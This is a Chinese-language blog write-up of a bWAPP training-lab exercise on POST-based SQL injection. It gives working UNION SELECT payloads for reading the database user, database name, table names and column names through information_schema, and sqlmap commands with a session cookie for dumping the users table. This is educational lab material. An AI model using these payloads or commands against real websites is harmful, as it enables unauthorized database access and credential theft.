SQL注入-bWAPP靶场-post

目标1:拿到当前登入数据库的用户名,和当前数据库的名称。

前提准备:

1,分析需要函数:

user()和database()

2,分析环境:

  • 请求方式:post
  • 是否有回显:有
  • 判断是否可注入:是(用'号判断)

 3 ,注入方法确定

 union select 1,2,3,4,5,6

问题:

问题:

1,回显数据只显示一条(SQL用limit限制)

SELECT * FROM `movies` WHERE Title='Iron Man' union select 1,user(),3,4,5,6 LIMIT 1;

 思路:

使第一条不返回数据,返回为空。

SELECT * FROM `movies` WHERE Title='' union select 1,user(),database(),4,5,6 LIMIT 1;

Title=''查询不到数据返回为空,所以返回union后的数据

结果: 

目标2:已知数据库的名称,获取数据库中表名

前提准备:

1,分析需要函数:

SELECT * FROM `movies` 
WHERE Title='' 
union 
select 1,user(),database(),table_name,5,6 
from information_schema.tables 
WHERE table_schema=database() LIMIT 1,1;

 Mysql 中 information_schema 数据库中有 tables 表,

 tables表中有所有数据库中表名

问题:

问题

1,回显数据只显示一条(SQL用limit限制)

  无法一次返回所有数据(表名)

解决思路

方法一: 

用limit 0,1    1,1     2,1    3,1

SELECT * FROM `movies` 
WHERE Title='' 
union 
select 1,user(),database(),table_name,5,6 
from information_schema.tables 
WHERE table_schema=database() LIMIT 1,1;

方法二:

用 GROUP_CONCAT(table_name)函数

该函数会返回一个表中一个字段的所有信息

SELECT * FROM `movies` 
WHERE Title='' 
union
select 1,user(),database(),GROUP_CONCAT(table_name),5,6 
from information_schema.tables 
WHERE table_schema=database();

结果: 

 

 

目标2:已知数据库的名称,数据库中表名,获取表中字段

前提准备:

1,分析需要函数:

SELECT * FROM `movies` 
WHERE Title='' 
union 
select 1,user(),database(),GROUP_CONCAT(column_name),5,6 
from information_schema.columns 
WHERE table_name='users';

 Mysql 中 information_schema 数据库中有 columns 表,

 columns表中有所有表中字段名

结果: 

 最终结果:

拿到账号密码

使用sqlmap进行攻击:

1.输出数据库的所有数据库

sqlmap -u "http://192.168.183.131:80/bWAPP/bWAPP/sqli_13.php" --data "movie=1&action=go" --cookie "security_level=0; PHPSESSID=vl8l1udcp7k2qnfkacpnt2qhsc" -dbs  

-u                 输入url参数

--data           post注入参数

--cookie        登入cookie

-dbs              输出数据库的所有数据库

 

识别出后端数据库管理系统(DBMS)是MySQL,Web应用程序技术是PHP 8.1.12,Apache版本为2.4.54。SQLMap已经成功地获取了8个可用的数据库名称,包括bwapp,information_schema,mysql,performance_schema,phpmyadmin,tang1,tangzihan和test。

2,查看bwapp数据库中所有表名 

sqlmap -u "http://192.168.183.131:80/bWAPP/bWAPP/sqli_13.php" --data "movie=1&action=go" --cookie "security_level=0; PHPSESSID=vl8l1udcp7k2qnfkacpnt2qhsc" -dbs  -D bwapp --tables

-D bwapp --tables          #查看bwapp数据库中所有表名

 3,查看bwapp数据库users表中数据 

sqlmap -u "http://192.168.183.131:80/bWAPP/bWAPP/sqli_13.php" --data "movie=1&action=go" --cookie "security_level=0; PHPSESSID=vl8l1udcp7k2qnfkacpnt2qhsc" -dbs -D bwapp --tables -T users --columns

-dbs    查询所有数据库

-D      指定数据库

--tables       在- D 指定的数据库下查询表信息

-T users --columns :   查询 -D 指定的数据库中的users表中的字段

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值